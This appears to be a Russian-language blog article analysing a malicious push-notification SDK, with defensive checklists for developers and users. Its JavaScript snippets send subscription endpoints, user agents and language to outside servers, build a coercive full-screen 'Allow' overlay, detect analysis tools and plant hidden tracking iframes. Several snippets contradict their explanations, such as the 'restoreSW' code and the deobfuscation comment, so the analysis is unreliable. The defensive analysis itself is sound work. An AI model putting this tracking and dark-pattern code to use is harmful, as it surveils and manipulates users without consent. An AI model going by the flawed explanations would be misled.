Введение

Push-уведомления сами по себе — полезный инструмент для легальной коммуникации с пользователями: новости, события, обновления сервисов.

Однако существуют вредоносные SDK, которые используют Push API для скрытого спама, трекинга и монетизации через сторонние рекламные серверы. Они используют легальные браузерные API, но наносят серьёзный вред пользователю и репутации сайтов.

В этой статье разберём реальный вредоносный скрипт https://kidecyg.com/13850.js, покажем как он работает, зачем каждый элемент кода нужен и как его выявить.

Язык, идентификаторы подписки и сбор данных

SDK собирает информацию о пользователе, его браузере и языке, чтобы таргетировать рекламу:

function sendBeacon(subscription) {
  fetch('https://tracker-malicious.com/collect', {
    method: 'POST',
    mode: 'no-cors',
    body: JSON.stringify({
      uuid: subscription.endpoint,
      userAgent: navigator.userAgent,
      language: navigator.language,
      timestamp: Date.now()
    })
  });
}

SDK отправляет данные о браузере, языке и временной метке. Это позволяет серверу таргетировать рекламу и продолжать слежение даже без явного согласия пользователя.

Вредоносная регистрация Service Worker

SDK регистрирует Service Worker, который управляет push-уведомлениями даже после закрытия вкладки:

if ('serviceWorker' in navigator) {
  navigator.serviceWorker.register('https://kidecyg.com/13850.js')
    .then(registration => console.log('Вредоносный SW зарегистрирован'))
    .catch(err => console.error('Ошибка регистрации SW:', err));
}

Service Worker позволяет скрипту работать в фоне и обходить антивирусные проверки, так как он считается легальной частью сайта.

Социальная инженерия через оверлей

SDK создаёт визуальный оверлей, чтобы убедить пользователя нажать «Разрешить»:

function showOverlay() {
  const div = document.createElement('div');
  div.id = 'push-overlay';
  div.style = `
    position: fixed;
    top:0; left:0; right:0; bottom:0;
    background: rgba(0,0,0,0.7);
    z-index: 2147483647;
    display: flex; align-items: center; justify-content: center;
    color: #fff; font-size: 24px; text-align: center;
  `;
  div.innerHTML = 'Нажмите "Разрешить", чтобы продолжить просмотр';
  document.body.appendChild(div);
}
showOverlay();

Это блокирует доступ к контенту и повышает вероятность того, что пользователь согласится на push-подписку.

Создание push-подписки

После нажатия кнопки SDK создаёт подписку через Service Worker:

navigator.serviceWorker.ready
  .then(registration => registration.pushManager.subscribe({
    userVisibleOnly: true,
    applicationServerKey: atob('BElkEXAMPLEKeyHere')
  }))
  .then(subscription => {
    fetch('https://zcode17.com/?send=uuid', {
      method: 'POST',
      mode: 'no-cors',
      body: JSON.stringify(subscription)
    });
    console.log('Вредоносная подписка отправлена');
  });

Push-подписка позволяет отправлять уведомления напрямую в браузер пользователя, даже когда он не на сайте.

Восстановление Service Worker после удаления

SDK умеет восстанавливаться, если пользователь пытается удалить подписку:

function restoreSW() {
  const iframe = document.createElement('iframe');
  iframe.style.display = 'none';
  document.body.prepend(iframe);
  const safeWindow = iframe.contentWindow;
  ServiceWorkerRegistration.prototype.unregister = safeWindow.ServiceWorkerRegistration.prototype.unregister;
}
restoreSW();

Это гарантирует, что SDK остаётся активным даже после попытки удаления push-подписки.

Обфускация кода

SDK использует функции вроде tspk53132, которые шифруют URL и строки:

function tspk53132(str) {
  return str.split('').reverse().join('').replace(/[a-z]/g, c => String.fromCharCode(219 - c.charCodeAt(0)));
}
const hiddenUrl = tspk53132('moc.elpmaxe//:sptth'); // https://example.com

Обфускация делает код сложным для анализа и предотвращает прямое обнаружение URL серверов.

Проверка на headless и DevTools

SDK проверяет среду выполнения, чтобы понять, что его анализируют:

if (navigator.webdriver || window.outerWidth === 0) {
  console.log('SDK определил анализатор и остановился');
  return;
}

Если обнаружен DevTools или headless-браузер, SDK останавливается, усложняя исследование.

Работа с cookie и localStorage

SDK сохраняет идентификаторы и настройки через cookie и localStorage:

function setCookie(name, value, days) {
  var date = new Date();
  date.setDate(date.getDate() + days);
  document.cookie = `${name}=${value}; path=/; expires=${date.toUTCString()}; samesite=lax`;
}

Это позволяет отслеживать пользователей между сессиями и контролировать push-подписки.

Скрытые iframe и трекеры

SDK вставляет невидимые iframe для синхронизации с внешними серверами:

var iframe = document.createElement('iframe');
iframe.style.display = 'none';
iframe.src = 'https://uuidksinc.net/matchx';
document.body.appendChild(iframe);

Таким образом собирается информация о пользователях без их ведома, и SDK маскирует свои действия под обычные функции сайта.

Генерация динамических UI элементов

SDK создаёт кнопки, оверлеи и уведомления, подстраиваясь под устройство и браузер:

var btn = document.createElement('div');
btn.className = 'wpn-ok-btn';
btn.textContent = 'Разрешить';
btn.addEventListener('click', confirmSubscription);
document.body.appendChild(btn);

Это повышает эффективность социальной инженерии и подстраивается под разные языки и платформы.

Мониторинг и события push

SDK использует кастомные события для отслеживания действий пользователя:

window.addEventListener('wpnagree', function() {
  console.log('Пользователь согласился на push');
});

Так контролируется процесс подписки и отправки данных на сервер.

Проверка окружения и адаптация

SDK анализирует браузер, язык, ОС и устройство пользователя:

function detectBrowser() {
  if (!!window.chrome) return 'chrome';
  if (!!window.InstallTrigger) return 'firefox';
  // дополнительные проверки для Edge, Opera, Safari
}

На основе этих данных подбираются стили оверлея и кнопок, что делает социальную инженерию более убедительной.

Визуальная схема работы SDK

   ┌─────────────┐
   │ Пользователь│
   └─────��───────┘
         │ открывает сайт
         ▼
   ┌─────────────┐
   │ JS-оверлей  │
   │ "Нажмите    │
   │ Разрешить"  │
   └─────┬───────┘
         │ пользователь нажал
         ▼
   ┌─────────────┐
   │ Service     │
   │ Worker SW   │
   │ 13850.js    │
   └─────┬───────┘
         │ регистрирует push
         ▼
   ┌─────────────┐
   │ Push-подписка│
   │ в браузере  │
   └─────┬───────┘
         │ отправка данных
         ▼
   ┌─────────────┐
   │ Вредоносный │
   │ сервер      │
   │ (реклама)   │
   └─────┬───────┘
         │ push-уведомления
         ▼
   ┌─────────────┐
   │ Браузер     │
   │ пользователя│
   └─────────────┘

Чеклист защиты для разработчиков

Действие

Зачем

CSP для inline-скриптов

Предотвращает внедрение сторонних SDK

Проверка SW-файлов

Выявляет вредоносные Service Worker

Контроль push-подписок

Не подписываем пользователей на сторонние серверы

Мониторинг fetch

Выявляет утечки данных

Отслеживание cookies/LocalStorage

SDK оставляет идентификаторы

Ограничение сторонних библиотек

Меньше шансов внедрения вредоносного кода

Что делать пользователю

  • Проверяйте разрешения push в настройках браузера.

  • Регулярно очищайте Service Workers и site data.

  • Используйте блокировщики push (uBlock, Privacy Badger, Brave Shields).

  • Не нажимайте «Разрешить» на подозрительных сайтах.

Вывод

Push-API — мощный инструмент для легальной доставки уведомлений. Но в руках злоумышленников он превращается в вредоносный push-спам SDK:

  • Подписывает пользователей без согласия.

  • Отправляет данные на сторонние серверы.

  • Обходит блокировщики и антивирусы.

  • Рассылает рекламу через Service Worker.

Владельцам сайтов важно проверять все сторонние скрипты и Service Worker, а пользователям — контролировать разрешения push и регулярно очищать данные сайта.

Интересный факт: браузеры уже начали блокировать подозрительные push-подписки без активного взаимодействия пользователя, но social engineering остаётся эффективным.